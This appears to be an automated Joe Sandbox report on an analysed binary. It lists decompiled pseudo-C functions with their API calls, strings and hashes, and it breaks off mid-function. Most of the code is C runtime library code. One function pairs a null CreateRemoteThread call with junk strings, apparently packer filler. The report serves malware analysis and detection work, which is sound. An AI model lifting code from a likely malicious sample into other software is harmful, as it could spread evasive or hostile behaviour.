Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$HD@$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-1463889187
Opcode ID: 9ca71d06bae4ef2ce4f5b24ff85b07bb0a1c756acd9491e2be316cb55540299a
Instruction ID: 73f59c4b1b1818e29ce094eeb996ba15ac86d726beed5b0b42fd32e57f945b7f
Opcode Fuzzy Hash: 9ca71d06bae4ef2ce4f5b24ff85b07bb0a1c756acd9491e2be316cb55540299a
Instruction Fuzzy Hash: 2FA15EF1D002289BDB24CF55CC81BAEB3B5EF48304F14919AE60977282D7389E84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419CF0, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419CF0(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1e50);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1e30);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1e2c);
				return 0;
			}

0x00419cf6
0x00419cf8
0x00419cff
0x00419d13
0x00419d20
0x00419d2b
0x00419d40
0x00419d4d
0x00419d53
0x00419d5b
0x00419d68
0x00419d71

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419CFF
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419D13
CreateActCtxW.KERNEL32(?), ref: 00419D20
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419D2B
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419D40
InterlockedDecrement.KERNEL32(?), ref: 00419D4D
GetCommandLineW.KERNEL32 ref: 00419D53
TlsGetValue.KERNEL32(00000000), ref: 00419D5B
TryEnterCriticalSection.KERNEL32(?), ref: 00419D68

Strings

vihebihasucuxegod, xrefs: 00419D35
Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419D26

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 46a52bf7412e21f1a9f9046ac7842a7972d33da5d6619f9f9bdf0b32adec5e81
Instruction ID: 290748476c8e10ea7b6eb3caab2a8ec9d2d8f6784b5271156a8305f3cd713b92
Opcode Fuzzy Hash: 46a52bf7412e21f1a9f9046ac7842a7972d33da5d6619f9f9bdf0b32adec5e81
Instruction Fuzzy Hash: BCF01D31684285ABEB506BB0EE0EF893B68BB04B06F140061F786F64F0C6B495848B29

Uniqueness

Uniqueness Score: -1.00%

Function 0042E8F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 60%

			E0042E8F0(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, char _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0xa5248312
				_v8 = _t25 ^ _t55;
				E0042E9A0( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438CA0(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				_t18 =  &_a20; // 0x41ec7e
				E0041DE50(E0041D9D0(__ebx,  &_v32, __esi, _a16,  *_t18,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BCB0(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042e8f8
0x0042e8ff
0x0042e90a
0x0042e915
0x0042e916
0x0042e91d
0x0042e922
0x0042e927
0x0042e92e
0x0042e93d
0x0042e947
0x0042e950
0x0042e96a
0x0042e97b
0x0042e989
0x0042e99c

APIs

___dtold.LIBCMTD ref: 0042E90A
_$I10_OUTPUT.LIBCMTD ref: 0042E932
_wcscpy_s.LIBCMTD ref: 0042E972

Part of subcall function 0041D9D0: __invalid_parameter.LIBCMTD ref: 0041DA42

__invoke_watson_if_error.LIBCMTD ref: 0042E97B

Strings

~A, xrefs: 0042E96A, 0042E96D
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042E957
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042E961
_fltout2, xrefs: 0042E95C

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)$~A
API String ID: 289039318-2960215128
Opcode ID: fc0c9fababb7f5795331fd77e9cb14829cad84665074b7bef29288efd580ad35
Instruction ID: ae676ee754a72299dee6492bbcab2f7a4afb0640f8c210fefe06e41f844bcf15
Opcode Fuzzy Hash: fc0c9fababb7f5795331fd77e9cb14829cad84665074b7bef29288efd580ad35
Instruction Fuzzy Hash: D12138B5A003089BCB04DF65DC42AEEB7B4AF8C704F54855AF9056B382E634E951CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041CCCE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CD4B
_CheckBytes.LIBCMTD ref: 0041CDE9
_CheckBytes.LIBCMTD ref: 0041CE92

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CD80
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041CEBC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CE1E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041CF31

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction ID: 4acde3f8e297d6cf7c8438177fd469c5667c87294870152954d76fdb1ac9ee55
Opcode Fuzzy Hash: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction Fuzzy Hash: 9C6140B5E402059BDB18CB84DCC5FBFB3B6AB48304F24815AE5156B3C1D278EC82CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00437684, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00437684(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B3A0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E210();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422D00(_t65))) = 0x22;
						E00422A90(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B3A0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422D00(_t61)));
				goto L30;
			}

0x00437684
0x00437687
0x0043768e
0x004376fa
0x004376fd
0x00437700
0x00437704
0x004377f1
0x004377f1
0x004377f5
0x004377fd
0x004377fd
0x004377ff
0x00437802
0x00437805
0x00437805
0x0043770d
0x00437710
0x004377e7
0x004377ea
0x004377ea
0x004377ed
0x00000000
0x004377ed
0x00437716
0x0043771a
0x004377da
0x004377dd
0x004377e0
0x00000000
0x004377e0
0x00437723
0x00437726
0x0043772a
0x0043772c
0x00437733
0x00437735
0x00437739
0x00437741
0x00437747
0x00437756
0x00437756
0x00437759
0x00437749
0x00437749
0x0043774e
0x0043774e
0x0043775c
0x00437768
0x00437768
0x0043776c
0x00437771
0x00437771
0x00437739
0x00437733
0x00437774
0x00437777
0x0043777a
0x0043777e
0x00437781
0x00437783
0x00437788
0x0043778a
0x0043778f
0x00437794
0x00437796
0x0043779b
0x0043779e
0x004377a1
0x004377a3
0x004377a3
0x004377a1
0x004377a4
0x004377a8
0x00000000
0x004377aa
0x004377af
0x004377cb
0x004377d3
0x00000000
0x004377d3
0x004377a8
0x00437694
0x00437699
0x004376a0
0x004376b7
0x004376bd
0x004376cd
0x004376cd
0x004376d0
0x004376bf
0x004376bf
0x004376c5
0x004376c5
0x004376df
0x004376e3
0x004376e8
0x004376a0
0x004376f0
0x00000000

APIs

_memset.LIBCMT ref: 004376E3
_memset.LIBCMT ref: 0043776C
__invalid_parameter.LIBCMTD ref: 004377CB

Strings

_wcstombs_s_l, xrefs: 004377C1
sizeInBytes > retsize, xrefs: 00437783, 004377C6
P, xrefs: 004377E0
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043778F, 004377BC

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 984826580b6b716d8613671b907141250ac4dcad0e8d3708987d07af3c830269
Instruction ID: fa09c93ebfa755a482420a53bc5d9bc8405143d0799db5fad9bf0072f8d76467
Opcode Fuzzy Hash: 984826580b6b716d8613671b907141250ac4dcad0e8d3708987d07af3c830269
Instruction Fuzzy Hash: CB418FB0904349EBCB24CF5CC8457AE7770FB48324F20866AE8B41A3D0D3799951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041D767, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D767() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041ACE0(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00422E90(E0041ACE0(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00422F40(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041ACE0(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422D00( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422D00( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BC50(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041D8E0( *((intOrPtr*)(L00422D00(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422D00(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429570(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BCB0(E0041ACB0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d767
0x0041d767
0x0041d767
0x0041d76d
0x0041d777
0x0041d784
0x0041d779
0x0041d77c
0x0041d77f
0x0041d77f
0x0041d791
0x00000000
0x00000000
0x0041d797
0x0041d7a0
0x0041d7ad
0x0041d7f5
0x0041d7fa
0x0041d7fd
0x0041d7c2
0x0041d7d5
0x0041d7da
0x0041d7dd
0x0041d7dd
0x0041d804
0x0041d80f
0x0041d806
0x0041d80a
0x0041d80a
0x0041d81c
0x0041d827
0x0041d82f
0x0041d853
0x0041d858
0x0041d85d
0x0041d862
0x0041d886
0x0041d88b
0x0041d88b
0x0041d896
0x0041d896
0x0041d89d
0x0041d89d
0x0041d8a0
0x0041d8a8
0x0041d8c5
0x0041d8c7
0x0041d8c7
0x0041d8dd

APIs

__isctype_l.LIBCMTD ref: 0041D7D5
_swprintf_s.LIBCMTD ref: 0041D858
__invoke_watson_if_oneof.LIBCMTD ref: 0041D886

Strings

(*_errno()), xrefs: 0041D875
%.2X , xrefs: 0041D83A
_printMemBlockData, xrefs: 0041D870
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D86B

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: e46008a0ab6fb811eed335e710d919e7e4e3c017f1531206f30aad4bb366cdc1
Instruction ID: 378dd386fb64d598b54818cf6314ff36410660a0331844c893960f8fe309da15
Opcode Fuzzy Hash: e46008a0ab6fb811eed335e710d919e7e4e3c017f1531206f30aad4bb366cdc1
Instruction Fuzzy Hash: 1C31C1B0E04318EFDB08EFA1DA41AEDBB71AF44304F20406EE4156F2C2D7789A41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004290A1, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00429108
__set_error_mode.LIBCMTD ref: 00429117
GetStdHandle.KERNEL32(000000F4), ref: 0042912E
_strlen.LIBCMT ref: 00429154
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0042916C

Strings

jjj, xrefs: 004290F0
t/j, xrefs: 00429141

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction ID: 1bfa2bfe11216b370c86add98887b21684066d737b71764cc0721aa435941a58
Opcode Fuzzy Hash: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction Fuzzy Hash: 1A21B874A00129FBEB24CB55F949BAE3370EF05304F90416AE50653291D3799E60DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427BD8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427BD8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
